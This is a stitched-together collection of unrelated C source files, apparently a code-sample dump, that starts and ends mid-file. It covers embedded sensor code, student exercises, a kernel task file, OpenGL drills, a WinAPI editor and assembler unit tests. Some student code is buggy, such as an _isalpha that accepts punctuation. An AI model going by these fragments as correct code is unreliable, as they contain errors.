AN0,AN1 AN2 retorna cero return 0; } ADCON0 &=0b11000101; //Establece velocidad de conversin del ADC ADCON0 |= canal<<3; //Escoge el Canal que se le realizar la conversion ADC __delay_ms(3); //retardo de 3 milisegundos GO_nDONE=1; //pone Go/done en 1, para a esperar hasta que se complete while(GO_nDONE); //espera que se termine de realizar la conversion (Go/done=0) resultado= ((ADRESH<<8)+ADRESL); //guarda el resultado de la conversion (10 bits) return resultado; //retorna el resultado } //Funcin que permite Imprimir Nmeros Flotantes void Lcd_flotante( float f){ char s[7]; sprintf(s, "%.1f", f); Lcd_Write_String(s); } //Funcin Principal void main(void) { init(); //Se llama a la Funcin de inicializacin del ADC TRISA=0xFF; //configuracion de puerto A como Entrada TRISD=0x00; //configuracion de Puerto D como Salida PORTD=0; //Inicializacion del puerto en Cero Lcd_Init(); //Inicializa el Display LCD Lcd_Clear(); // Comando para limpiar pantalla while(1){ //ciclo infinito sensor1=conversion(AN0); // Lee el NTC temp=(sensor1*5.0)/1023.0; //convierte el valor del adc a Voltaje aux=temp; //copia de variable temp aux=-35.7*(aux*aux*aux)+440.7*aux*aux-1850*aux+2686; //clculo del polinomio para hallar la temperatura Lcd_Set_Cursor(1,1); //Ubica el cursor del LCD en la linea 1 Lcd_Write_String("NTC:"); //Imprime en el LCD Lcd_flotante(aux); //Imprime el valor Flotante en el LCD sensor2=conversion(AN1); // Lee el sensor LM35 temp=(sensor2*5.0)/1023; //convierte el valor del adc a Voltaje temp=(6*temp)+20; // Convierte el voltaje del LM35 a temperatura Lcd_Set_Cursor(1,10); //Ubica el cursor del LCD en la linea 1, posicion 10 Lcd_Write_String("LM35:"); //imprime en el LCD Lcd_Write_Int((int)temp); //Imprime el valor entero de Temperatura en el LCD sensor3=conversion(AN2); // Lee el valor de potenciometro temp=(sensor3*5.0)/1023; //convierte el valor del adc a Voltaje Lcd_Set_Cursor(2,1); //Ubica el cursor del LCD en la linea 2 Lcd_Write_String("POT:"); //imprime en el LCD Lcd_flotante(temp); //Imprime el valor Flotante en el LCD } }
C
#include "holberton.h" /** * _isalpha - identifies when c is alphabetic character *@c: - Declaración de variable *Return: Always 0 (Success) */ int _isalpha(int c) { if (c >= 65 && c <= 122) { return (1); } else { return (0); _putchar('\n'); } }
C
/** * @file: usr_tasks.c * @brief: Two user/unprivileged tasks: task1 and task2 * @author: Yiqing Huang * @date: 2020/10/20 * NOTE: Each task is in an infinite loop. Processes never terminate. * IMPORTANT: This file will be replaced by another file in automated testing. */ #include "rtx.h" #include "uart_polling.h" #include "usr_tasks.h" #ifdef DEBUG_0 #include "printf.h" #endif /* DEBUG_0 */ /* the following arrays can also be dynamic allocated They do not have to be global buffers. */ U8 g_buf1[256]; U8 g_buf2[256]; task_t g_tasks[MAX_TASKS]; /** * @brief: fill the tasks array with information * @param: tasks, an array of RTX_TASK_INFO elements * @param: num_tasks, length of the tasks array * NOTE: we do not use this in the starter code. * during testing, if we want to initialize a user task at boot time * we will write a similar function to provide task info. to kernel. */ int set_usr_task_info(RTX_TASK_INFO *tasks, int num_tasks) { for (int i = 0; i < num_tasks; i++ ) { tasks[i].u_stack_size = 0x0; tasks[i].prio = HIGH; tasks[i].priv = 1; } tasks[0].ptask = &task1; tasks[1].ptask = &task2; return 2; } /** * @brief: a dummy task1 */ void task1(void) { task_t tid; RTX_TASK_INFO task_info; uart1_put_string ("task1: entering \n\r"); /* do something */ tsk_create(&tid, &task2, LOW, 0x200); /*create a user task */ tsk_get(tid, &task_info); tsk_set_prio(tid, LOWEST); mbx_create(256); tsk_ls(g_tasks, MAX_TASKS); mbx_ls(g_tasks, MAX_TASKS); /* terminating */ tsk_exit(); } /** * @brief: a dummy task2 */ void task2(void) { size_t msg_hdr_size = sizeof(struct rtx_msg_hdr); U8 *buf = &g_buf1[0]; /* buffer is allocated by the caller */ struct rtx_msg_hdr *ptr = (void *)buf; task_t sender_tid = 0; uart1_put_string ("task2: entering \n\r"); mbx_create(128); ptr->length = msg_hdr_size + 1; ptr->type = KCD_REG; buf += msg_hdr_size; *buf = 'W'; send_msg(TID_KCD, (void *)ptr); recv_msg(&sender_tid, g_buf2, 128); /* do command processing */ /* Terminate if you are not a daemon task. For a deamon task, it should be in an infinite loop and never terminate. */ tsk_exit(); }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #define ll long long #define rep(i,l,r)for(ll i=(l);i<(r);i++) //??????? //* //??????? typedef struct atai{ll a;}atai; atai xx(atai x,atai y){ atai r; r.a=x.a+y.a;//sum return r; } //??????? int segNUM; atai segN[1<<18],*seg; void seguse(int n){segNUM=n;seg=segN+segNUM;} //seg[]??????????? void seginit(){for(int node=segNUM-1;node;node--)segN[node]=xx(segN[node*2],segN[node*2+1]);} void segupdate(int node,atai x){ //seg[node]?x??? node+=segNUM; segN[node]=x; while(node/=2)segN[node]=xx(segN[node*2],segN[node*2+1]); } atai segcalcsub(int l,int r,int k,int cl,int cr){ //??????? if(l<=cl&&cr<=r)return segN[k]; int cm=(cl+cr)/2; //???? if(r<=cm)return segcalcsub(l,r,2*k ,cl,cm); //???? if(cm<=l)return segcalcsub(l,r,2*k+1,cm,cr); //?? return xx(segcalcsub(l,r,2*k,cl,cm),segcalcsub(l,r,2*k+1,cm,cr)); } atai segcalc(int l,int r){return segcalcsub(l,r,1,0,segNUM);} //??????? char s[200010]; int c[30]; int a[200010]; int p[200010]; ll ans; int main(){ scanf("%s",s); ll n=strlen(s); rep(i,0,n)c[s[i]-'a']++; int idx=-1; rep(i,0,26)if(c[i]%2){ if(idx==-1)idx=i; else{ puts("-1"); return 0; } } rep(i,0,26)c[i]/=2; c[idx]++; rep(i,0,n){ int t=s[i]-'a'; if(c[t]){ if(c[t]==1&&t==idx)a[i]=-2; else a[i]=-1; c[t]--; }else a[i]=-3; } //????? { int cnt=0; rep(i,0,n){ if(a[i]==-1||a[i]==-2)ans+=cnt; if(a[i]==-2||a[i]==-3)cnt++; } } int cnt=0; rep(i,0,n)if(a[i]==-1)a[i]=cnt++; cnt=0; for(int i=n-1;i>=0;i--)if(a[i]==-3)a[i]=cnt++; //????? rep(i,0,26){ for(int l=0,r=n-1;l<r;l++,r--){ while(l<r&&s[l]-'a'!=i)l++; if(l==r)break; while(s[r]-'a'!=i)r--; p[a[l]]=a[r]; } } //?????? seguse(1<<17); rep(i,0,n/2){ ans+=segcalc(p[i],n/2).a; atai r={1}; segupdate(p[i],r); } printf("%lld",ans); } ./Main.c: In function main: ./Main.c:54:2: warning: ignoring return value of scanf, declared with attribute warn_unused_result [-Wunused-result] scanf("%s",s); ^
C
#include <stdio.h> int main (void) /*一个简单的C程序例子*/ { int num; /*定义一个num的变量*/ num = 1; /*为变量num赋值 */ printf ("i am a simple "); /* 使用库函数printf() */ printf ("computer.\n"); printf ("my favorite number is %d because it is first.\n", num); return 0; }
C
#include <stdio.h> void par(); void impar(); int main(){ int num; printf("Escolha uma opcao:\n 1-Numeros pares entre 1 a 10\n 2-Numeros impares entre 1 a 10: "); scanf("%d", &num); if(num == 1) par(); else impar(); return 0; } void par(){ int i; printf("Numeros pares: "); for(i=1 ; i<10 ; i++) if(i%2 == 0) printf("%d ", i); } void impar(){ int i; printf("Numeros impares: "); for(i=1 ; i<10 ; i++) if(i%2 != 0) printf("%d ", i); }
C
#include<stdio.h> int main(void){ int a, b; scanf("%d %d", &a, &b); if(a < b) printf("a < b\n"); if(a > b) printf("a > b\n"); if(a == b) printf("a == b\n"); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include "player.h" mob* mob_ctor(char name[15], int id, int attack, int defence, int lifePoint, position* pos) { mob* p = malloc(sizeof(mob)); p->name = name; p->id = id; p->attack = attack; p->defence = defence; p->lifePoint = lifePoint; p->pos = pos; return p; } void showMobLife(mob* mobToPrint){ printf("%s life: %d\n",mobToPrint->name, mobToPrint->lifePoint); } void showMobStats(mob* mobToPrint){ printf("id: %d\n", mobToPrint->id); showMobLife(mobToPrint); printf("attack: %d\n", mobToPrint->attack); printf("defence: %d\n", mobToPrint->defence); printf("position: %d - %d\n", mobToPrint->pos->x, mobToPrint->pos->y); } void hitMob(mob* mobAttack, mob* mobDef){ mobDef->lifePoint -= mobAttack->attack - mobDef->defence; showMobLife(mobDef); } void defPlayer(mob* mobAttack, player* playerDef){ playerDef->playerMob->lifePoint -= mobAttack->attack - playerDef->playerMob->defence; showMobLife(playerDef->playerMob); if(playerDef->playerMob->lifePoint <= 0){ playerDef->life --; if(playerDef->life <= 0){ playerDef->isAlive = 0; } } }
C
#include <stdio.h> #include <stdlib.h> #define N 6 int main(int argc, char *argv[]) { int vett[N],i,temp,scambio; for(i=0;i<N;i++){ printf("inserire il valore per la posizone %d: ",i); scanf("%d",&vett[i]); } do { scambio=0; for(i=N-1;i>0;i--) if(vett[i-1]>vett[i]) { temp=vett[i-1]; vett[i-1]=vett[i]; vett[i]=temp; scambio=1; } for(i=1;i<N;i++) if(vett[i-1]>vett[i]) { temp=vett[i-1]; vett[i-1]=vett[i]; vett[i]=temp; scambio=1; } }while(scambio==1); for(i=0;i<N;i++) printf("%d\t",vett[i]); printf("\n"); system("PAUSE"); return 0; }
C
#include "WinTextEditor.h" #include "File.h" #include "ErrorHandler.h" BOOL CreateMainWindow(HINSTANCE hInstance, int cmdShow); BOOL InitMainWindowClass(HINSTANCE hInstance); LPCWSTR mainWIndowClassName = L"TextEditorMainWindow"; HANDLE gHFont = NULL; HWND hMainWindow = NULL; HWND hTextEditor = NULL; BOOL textChanged = FALSE; BOOL InitEnv(HINSTANCE hInstance, int nShowCmd) { if (!InitMainWindowClass(hInstance) || !CreateMainWindow(hInstance, nShowCmd)) { return FALSE; } return TRUE; } void MainWindow_Cls_OnDestroy(HWND hwnd) { if (gHFont) { DeleteObject(gHFont); gHFont = NULL; } PostQuitMessage(0); } /** * 作用: * 创建编辑器使用的字体,这里默认为 "Courier New" * * 参数: * 无 * * 返回值: * 新建字体的句柄。 */ HANDLE CreateDefaultFont() { LOGFONT lf; ZeroMemory(&lf, sizeof(lf)); // 设置字体为Courier New lf.lfHeight = 16; lf.lfWidth = 8; lf.lfWeight = 400; lf.lfOutPrecision = 3; lf.lfClipPrecision = 2; lf.lfQuality = 1; lf.lfPitchAndFamily = 1; StringCchCopy((STRSAFE_LPWSTR)&lf.lfFaceName, 32, L"Courier New"); return CreateFontIndirect(&lf); } /** * 作用: * 创建编辑器窗体 * * 参数: * hInstance * 当前应用程序实例的句柄 * * hParent * 当前控件的所属父窗体 * * 返回值: * 创建成功,返回新建编辑器的句柄,否则返回 NULL。 */ HWND CreateTextEditor( HINSTANCE hInstance, HWND hParnet) { RECT rect; HWND hEdit; // 获取窗体工作区的大小,以备调整编辑控件的大小 GetClientRect(hParnet, &rect); hEdit = CreateWindowEx( 0, TEXT("EDIT"), TEXT(""), WS_CHILDWINDOW | WS_VISIBLE | WS_VSCROLL | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL, 0, 0, rect.right, rect.bottom, hParnet, NULL, hInstance, NULL ); gHFont = CreateDefaultFont(); if (NULL != gHFont) { // 设置文本编辑器的字体。并且在设置之后立刻重绘。 SendMessage(hEdit, WM_SETFONT, (WPARAM)gHFont, TRUE); } return hEdit; } BOOL MainWindow_Cls_OnCreate( HWND hwnd, LPCREATESTRUCT lpCreateStruct) { return NULL != ( hTextEditor = CreateTextEditor( GetWindowInstance(hwnd), hwnd) ); } /** * 作用: * 处理主窗体的菜单命令 * * 参数: * hwnd * 主窗体的句柄 * id * 点击菜单的ID * * hwndCtl * 如果消息来自一个控件,则此值为该控件的句柄, * 否则这个值为 NULL * * codeNotify * 如果消息来自一个控件,此值表示通知代码,如果 * 此值来自一个快捷菜单,此值为1,如果消息来自菜单 * 此值为0 * * 返回值: * 无 */ void MainWindow_Cls_OnCommand( HWND hwnd, int id, HWND hwndCtl, UINT codeNotify) { switch (id) { case ID_OPEN: EditFile(OpenNewFile, hwnd, hTextEditor); textChanged = FALSE; break; case ID_SAVE: SaveFile(hwnd, hTextEditor); textChanged = FALSE; break; case ID_SAVE_AS: SaveFileAs(SaveFileTo, hwnd, hTextEditor); textChanged = FALSE; break; case ID_EXIT: MainWindow_Cls_OnDestroy(hwnd); break; default: if (hwndCtl != NULL) { switch (codeNotify) { case EN_CHANGE: if (!textChanged && currentFileName != NULL) { SendMessage( hwnd, WM_SETTEXT, 0, (LPARAM)((((PWCHAR)currentFileName)) - 1) ); } textChanged = TRUE; break; default: break; } } break; } } /** * 作用: * 处理主窗体的大小变更事件,这里只是调整文本编辑器 * 的大小。 * * 参数: * hwnd * 主窗体的句柄 * * state * 窗体大小发生变化的类型,如:最大化,最小化等 * * cx * 窗体工作区的新宽度 * * cy * 窗体工作区的新高度 * * 返回值: * 无 */ VOID MainWindow_Cls_OnSize( HWND hwnd, UINT state, int cx, int cy) { MoveWindow( hTextEditor, 0, 0, cx, cy, TRUE ); } /** * 作用: * 主窗体消息处理函数 * * 参数: * hWnd * 消息目标窗体的句柄。 * msg * 具体的消息的整型值定义,要了解系统 * 支持的消息列表,请参考 WinUser.h 中 * 以 WM_ 开头的宏定义。 * * wParam * 根据不同的消息,此参数的意义不同, * 主要用于传递消息的附加信息。 * * lParam * 根据不同的消息,此参数的意义不同, * 主要用于传递消息的附加信息。 * * 返回值: * 本函数返回值根据发送消息的不同而不同, * 具体的返回值意义,请参考 MSDN 对应消息 * 文档。 */ LRESULT CALLBACK mainWindowProc( HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_DESTROY: return HANDLE_WM_DESTROY( hWnd, wParam, lParam, MainWindow_Cls_OnDestroy ); case WM_CREATE: return HANDLE_WM_CREATE( hWnd, wParam, lParam, MainWindow_Cls_OnCreate ); case WM_COMMAND: return HANDLE_WM_COMMAND( hWnd, wParam, lParam, MainWindow_Cls_OnCommand ); case WM_SIZE: // 主窗体大小发生变化,我们要调整编辑控件大小。 return HANDLE_WM_SIZE( hWnd, wParam, lParam, MainWindow_Cls_OnSize); default: return DefWindowProc(hWnd, msg, wParam, lParam); } } /** * 作用: * 注册主窗体类型。 * * 参数: * hInstance * 当前应用程序的实例句柄,通常情况下在 * 进入主函数时,由操作系统传入。 * * 返回值: * 类型注册成功,返回 TRUE,否则返回 FALSE。 */ BOOL InitMainWindowClass(HINSTANCE hInstance) { WNDCLASSEX wcx; // 在初始化之前,我们先将结构体的所有字段 // 均设置为 0. ZeroMemory(&wcx, sizeof(wcx)); // 标识此结构体的大小,用于属性扩展。 wcx.cbSize = sizeof(wcx); // 当窗体的大小发生改变时,重绘窗体。 wcx.style = CS_HREDRAW | CS_VREDRAW; // 在注册窗体类型时,要设置一个窗体消息 // 处理函数,以处理窗体消息。 // 如果此字段为 NULL,则程序运行时会抛出 // 空指针异常。 wcx.lpfnWndProc = mainWindowProc; // 设置窗体背景色为白色。 wcx.hbrBackground = GetStockObject(WHITE_BRUSH); // 指定主窗体类型的名称,之后创建窗体实例时 // 也需要传入此名称。 wcx.lpszClassName = mainWIndowClassName; // 将主窗体的菜单设置为主菜单 wcx.lpszMenuName = MAKEINTRESOURCE(IDR_MENU_MAIN); return RegisterClassEx(&wcx) != 0; } /** * 作用: * 创建一个主窗体的实例,并显示。 * * 参数: * hInstance * 当前应用程序的实例句柄。 * * cmdShow * 控制窗体如何显示的一个标识。 * * 返回值: * 创建窗体成功,并成功显示成功,返回 TRUE, * 否则返回 FALSE。 */ BOOL CreateMainWindow(HINSTANCE hInstance, int cmdShow) { // 创建一个窗体对象实例。 hMainWindow = CreateWindowEx( WS_EX_APPWINDOW, mainWIndowClassName, TEXT("TextEditor"), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL ); if (NULL == hMainWindow) { DisplayError(TEXT("CreateWindowEx"), NULL); return FALSE; } // 由于返回值只是标识窗体是否已经显示,对于我们 // 来说没有意义,所以这里丢弃返回值。 ShowWindow(hMainWindow, cmdShow); if (!UpdateWindow(hMainWindow)) { DisplayError(TEXT("UpdateWindow"), hMainWindow); return FALSE; } return TRUE; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* map.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: tpyrogov <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/10/22 18:05:00 by tpyrogov #+# #+# */ /* Updated: 2018/10/22 18:05:02 by tpyrogov ### ########.fr */ /* */ /* ************************************************************************** */ #include "filler.h" void forward(t_data *game, int i, int *y, int *x) { int j; while (i < game->m_h) { j = 0; while (j < game->m_w) { if (game->map[i][j] == game->enemy) { *y = i; *x = j; return ; } j++; } i++; } } void backward(t_data *game, int i, int *y, int *x) { int j; while (i > 0) { j = game->m_w - 1; while (j > 0) { if (game->map[i][j] == game->enemy) { *y = i; *x = j; return ; } j--; } i--; } } int ft_abs(int a) { if (a < 0) return (a * (-1)); return (a); } int calc_distance(t_data *game, int i, int j) { int enemy_x; int enemy_y; int dis1; forward(game, i, &enemy_y, &enemy_x); if (enemy_x != -1 && enemy_y != -1) dis1 = ft_abs(enemy_y - i) + ft_abs(enemy_x - j); else { backward(game, i, &enemy_y, &enemy_x); dis1 = ft_abs(enemy_y - i) + ft_abs(enemy_x - j); } return (dis1); } void distance_map(t_data *game) { int i; int j; i = 0; while (i < game->m_h) { j = 0; while (j < game->m_w) { if (game->map[i][j] == '.') game->map[i][j] = (unsigned char)calc_distance(game, i, j); j++; } i++; } }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* write_asm_header.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ahamouda <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2016/07/15 00:45:54 by ahamouda #+# #+# */ /* Updated: 2016/08/10 21:06:32 by ahamouda ### ########.fr */ /* */ /* ************************************************************************** */ #include "asm.h" void write_asm_header(int fd, t_header header) { char text[100]; time_t now; struct tm *t; now = time(NULL); t = localtime(&now); strftime(text, sizeof(text) - 1, "%c", t); ft_printf_fd(fd, "# File generated the %s\n", text); ft_printf_fd(fd, "# Total size : %u bytes \n", header.prog_size); ft_printf_fd(fd, ".name \"%s\"\n", header.prog_name); ft_printf_fd(fd, ".comment \"%s\"\n\n", header.comment); }
C
#include <glad/glad.h> #include <GLFW/glfw3.h> #include "utils/utils.h" #include <stdio.h> #include <stdlib.h> typedef GLuint Shader; typedef GLuint Program; typedef GLuint VAO; typedef GLuint VBO; typedef GLuint EBO; // TODO: switch to makefiles // TODO: release unused resources for ex.3 void FrameBufferSizeCallback(GLFWwindow* window, int width, int height) { glViewport(0, 0, width, height); } void KeyCallback(GLFWwindow* window, int key, int scancode, int action, int mods) { if (key == GLFW_KEY_ESCAPE && action == GLFW_PRESS) { glfwSetWindowShouldClose(window, GLFW_TRUE); } } EBO CreateEBO(unsigned int *indices, unsigned int indexCount) { EBO result; glGenBuffers(1, &result); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, result); glBufferData(GL_ELEMENT_ARRAY_BUFFER, indexCount * sizeof(unsigned int), indices, GL_STATIC_DRAW); return result; } VBO CreateVBO(float* vertices, unsigned int vertexCount) { VBO result; glGenBuffers(1, &result); glBindBuffer(GL_ARRAY_BUFFER, result); glBufferData(GL_ARRAY_BUFFER, vertexCount * sizeof(float), vertices, GL_STATIC_DRAW); return result; } VAO CreateVAO() { VAO result; glGenVertexArrays(1, &result); return result; } Shader CreateShader(GLenum shaderType, const char* source) { Shader result = glCreateShader(shaderType); glShaderSource(result, 1, &source, NULL); glCompileShader(result); return result; } Shader CreateShaderProgram(Shader vertex, Shader fragment) { Program program = glCreateProgram(); glAttachShader(program, vertex); glAttachShader(program, fragment); glLinkProgram(program); return program; } void _SafeFree(void* memory) { if (memory) { free(memory); } } #define SafeFree(memory) _SafeFree((void*) (memory)); // 1. Try to draw 2 triangles next to each other using glDrawArrays by adding more vertices to your data. void FirstSolution(GLFWwindow* window) { float vertices[] = { -1.0f, -0.5f, 0.0f, 0.0f, -0.5f, 0.0f, -0.5, 0.5f, 0.0f, 1.0f, -0.5f, 0.0f, 0.5f, 0.5f, 0.0f }; unsigned int indices[] = { 0, 1, 2, 1, 3, 4 }; VBO vbo = CreateVBO(vertices, ArraySize(vertices)); VAO vao = CreateVAO(); glBindVertexArray(vao); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), (void*)0); glEnableVertexAttribArray(0); EBO ebo = CreateEBO(indices, ArraySize(indices)); while (!glfwWindowShouldClose(window)) { glClearColor(0.2f, 0.3f, 0.3f, 1.0f); glClear(GL_COLOR_BUFFER_BIT); glDrawElements(GL_TRIANGLES, 6, GL_UNSIGNED_INT, 0); glfwSwapBuffers(window); glfwPollEvents(); } glDeleteBuffers(1, &ebo); glDeleteBuffers(1, &vbo); glDeleteVertexArrays(1, &vao); } // 2. Now create the same 2 triangles using two different VAOs and VBOs for their data. void SecondSolution(GLFWwindow* window) { float verticesA[] = { -1.0f, -0.5f, 0.0f, 0.0f, -0.5f, 0.0f, -0.5, 0.5f, 0.0f }; VBO vboA = CreateVBO(verticesA, ArraySize(verticesA)); VAO vaoA = CreateVAO(); glBindVertexArray(vaoA); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), (void*)0); glEnableVertexAttribArray(0); float verticesB[] = { 0.0f, -0.5f, 0.0f, 1.0f, -0.5f, 0.0f, 0.5f, 0.5f, 0.0f }; VBO vboB = CreateVBO(verticesB, ArraySize(verticesB)); VAO vaoB = CreateVAO(); glBindVertexArray(vaoB); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), (void*)0); glEnableVertexAttribArray(0); while (!glfwWindowShouldClose(window)) { glClearColor(0.2f, 0.3f, 0.3f, 1.0f); glClear(GL_COLOR_BUFFER_BIT); glBindVertexArray(vaoA); glDrawArrays(GL_TRIANGLES, 0, 3); glBindVertexArray(vaoB); glDrawArrays(GL_TRIANGLES, 0, 3); glfwSwapBuffers(window); glfwPollEvents(); } glDeleteBuffers(1, &vboA); glDeleteBuffers(1, &vboB); glDeleteVertexArrays(1, &vaoA); glDeleteVertexArrays(1, &vaoB); } void FirstAndSecondSolutionSetup() { if (!glfwInit()) { exit(1); } GLFWwindow* window = Utils_CreateWindow("GLFW - exercise 1"); if (window) { glfwSetKeyCallback(window, KeyCallback); glfwSetFramebufferSizeCallback(window, FrameBufferSizeCallback); if (gladLoadGLLoader((GLADloadproc)glfwGetProcAddress)) { const char* vertexShaderSource = Utils_ReadTextFile("ex1.vert"); const char* fragmentShaderSource = Utils_ReadTextFile("ex1.frag"); if (fragmentShaderSource && vertexShaderSource) { Shader vertex = CreateShader(GL_VERTEX_SHADER, vertexShaderSource); Utils_CheckShaderState(vertex, window); Shader fragment = CreateShader(GL_FRAGMENT_SHADER, fragmentShaderSource); Utils_CheckShaderState(fragment, window); Program program = CreateShaderProgram(vertex, fragment); Utils_CheckProgramState(program, window); glUseProgram(program); SecondSolution(window); glDeleteProgram(program); glDeleteShader(vertex); glDeleteShader(fragment); SafeFree(vertexShaderSource); SafeFree(fragmentShaderSource); } glfwDestroyWindow(window); } } } // Create two shader programs where the second program uses a different fragment shader that outputs the color yellow; // draw both triangles again where one outputs the color yellow void ThirdSolution() { if (!glfwInit()) { exit(1); } GLFWwindow* window = Utils_CreateWindow("Solution - 3"); if (window) { glfwSetKeyCallback(window, KeyCallback); glfwSetFramebufferSizeCallback(window, FrameBufferSizeCallback); if (gladLoadGLLoader(glfwGetProcAddress)) { const char* vertexShdrSrc = Utils_ReadTextFile("ex1.vert"); const char* fragmentShdrSrcA = Utils_ReadTextFile("ex1.frag"); const char* fragmentShdrSrcB = Utils_ReadTextFile("ex3.frag"); int shadersLoaded = vertexShdrSrc && fragmentShdrSrcA && fragmentShdrSrcB; if (shadersLoaded) { Shader vert = CreateShader(GL_VERTEX_SHADER, vertexShdrSrc); Shader fragOrange = CreateShader(GL_FRAGMENT_SHADER, fragmentShdrSrcA); Shader fragYellow = CreateShader(GL_FRAGMENT_SHADER, fragmentShdrSrcB); Utils_CheckShaderState(vert, window); Utils_CheckShaderState(fragOrange, window); Utils_CheckShaderState(fragYellow, window); Program programOrange = CreateShaderProgram(vert, fragOrange); Program programYellow = CreateShaderProgram(vert, fragYellow); Utils_CheckProgramState(programOrange, window); Utils_CheckProgramState(programYellow, window); float verticesA[] = { -1.0f, -0.5f, 0.0f, 0.0f, -0.5f, 0.0f, -0.5, 0.5f, 0.0f }; VBO vboA = CreateVBO(verticesA, ArraySize(verticesA)); VAO vaoA = CreateVAO(); glBindVertexArray(vaoA); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), (void*)0); glEnableVertexAttribArray(0); float verticesB[] = { 0.0f, -0.5f, 0.0f, 1.0f, -0.5f, 0.0f, 0.5f, 0.5f, 0.0f }; VBO vboB = CreateVBO(verticesB, ArraySize(verticesB)); VAO vaoB = CreateVAO(); glBindVertexArray(vaoB); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), (void*)0); glEnableVertexAttribArray(0); while (!glfwWindowShouldClose(window)) { glClearColor(0.2f, 0.3f, 0.3f, 1.0f); glClear(GL_COLOR_BUFFER_BIT); glBindVertexArray(vaoA); glUseProgram(programOrange); glDrawArrays(GL_TRIANGLES, 0, 3); glBindVertexArray(vaoB); glUseProgram(programYellow); glDrawArrays(GL_TRIANGLES, 0, 3); glfwPollEvents(); glfwSwapBuffers(window); } } } glfwDestroyWindow(window); } glfwTerminate(); } int main() { // FirstAndSecondSolutionSetup(); ThirdSolution(); }
C
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <CUnit/Basic.h> #include "src/utils.h" #include "src/tables.h" #include "src/translate_utils.h" #include "src/translate.h" const char* TMP_FILE = "test_output.txt"; const int BUF_SIZE = 1024; /**************************************** * Helper functions ****************************************/ int do_nothing() { return 0; } int init_log_file() { set_log_file(TMP_FILE); return 0; } int check_lines_equal(char **arr, int num) { char buf[BUF_SIZE]; FILE *f = fopen(TMP_FILE, "r"); if (!f) { CU_FAIL("Could not open temporary file"); return 0; } for (int i = 0; i < num; i++) { if (!fgets(buf, BUF_SIZE, f)) { CU_FAIL("Reached end of file"); return 0; } CU_ASSERT(!strncmp(buf, arr[i], strlen(arr[i]))); } fclose(f); return 0; } /**************************************** * Test cases for translate_utils.c ****************************************/ void test_translate_reg() { CU_ASSERT_EQUAL(translate_reg("$0"), 0); CU_ASSERT_EQUAL(translate_reg("$at"), 1); CU_ASSERT_EQUAL(translate_reg("$v0"), 2); CU_ASSERT_EQUAL(translate_reg("$a0"), 4); CU_ASSERT_EQUAL(translate_reg("$a1"), 5); CU_ASSERT_EQUAL(translate_reg("$a2"), 6); CU_ASSERT_EQUAL(translate_reg("$a3"), 7); CU_ASSERT_EQUAL(translate_reg("$t0"), 8); CU_ASSERT_EQUAL(translate_reg("$t1"), 9); CU_ASSERT_EQUAL(translate_reg("$t2"), 10); CU_ASSERT_EQUAL(translate_reg("$t3"), 11); CU_ASSERT_EQUAL(translate_reg("$s0"), 16); CU_ASSERT_EQUAL(translate_reg("$s1"), 17); CU_ASSERT_EQUAL(translate_reg("$3"), -1); CU_ASSERT_EQUAL(translate_reg("asdf"), -1); CU_ASSERT_EQUAL(translate_reg("hey there"), -1); } void test_translate_num() { long int output; CU_ASSERT_EQUAL(translate_num(&output, "35", -1000, 1000), 0); CU_ASSERT_EQUAL(output, 35); CU_ASSERT_EQUAL(translate_num(&output, "145634236", 0, 9000000000), 0); CU_ASSERT_EQUAL(output, 145634236); CU_ASSERT_EQUAL(translate_num(&output, "0xC0FFEE", -9000000000, 9000000000), 0); CU_ASSERT_EQUAL(output, 12648430); CU_ASSERT_EQUAL(translate_num(&output, "72", -16, 72), 0); CU_ASSERT_EQUAL(output, 72); CU_ASSERT_EQUAL(translate_num(&output, "72", -16, 71), -1); CU_ASSERT_EQUAL(translate_num(&output, "72", 72, 150), 0); CU_ASSERT_EQUAL(output, 72); CU_ASSERT_EQUAL(translate_num(&output, "72", 73, 150), -1); CU_ASSERT_EQUAL(translate_num(&output, "35x", -100, 100), -1); } /**************************************** * Test cases for tables.c ****************************************/ void test_table_1() { int retval; SymbolTable* tbl = create_table(SYMTBL_UNIQUE_NAME); CU_ASSERT_PTR_NOT_NULL(tbl); retval = add_to_table(tbl, "abc", 8); CU_ASSERT_EQUAL(retval, 0); retval = add_to_table(tbl, "efg", 12); CU_ASSERT_EQUAL(retval, 0); retval = add_to_table(tbl, "q45", 16); CU_ASSERT_EQUAL(retval, 0); retval = add_to_table(tbl, "q45", 24); CU_ASSERT_EQUAL(retval, -1); retval = add_to_table(tbl, "bob", 14); CU_ASSERT_EQUAL(retval, -1); retval = get_addr_for_symbol(tbl, "abc"); CU_ASSERT_EQUAL(retval, 8); retval = get_addr_for_symbol(tbl, "q45"); CU_ASSERT_EQUAL(retval, 16); retval = get_addr_for_symbol(tbl, "ef"); CU_ASSERT_EQUAL(retval, -1); free_table(tbl); char* arr[] = { "Error: name 'q45' already exists in table.", "Error: address is not a multiple of 4." }; check_lines_equal(arr, 2); SymbolTable* tbl2 = create_table(SYMTBL_NON_UNIQUE); CU_ASSERT_PTR_NOT_NULL(tbl2); retval = add_to_table(tbl2, "q45", 16); CU_ASSERT_EQUAL(retval, 0); retval = add_to_table(tbl2, "q45", 24); CU_ASSERT_EQUAL(retval, 0); free_table(tbl2); } void test_table_2() { int retval, max = 100; SymbolTable* tbl = create_table(SYMTBL_UNIQUE_NAME); CU_ASSERT_PTR_NOT_NULL(tbl); char 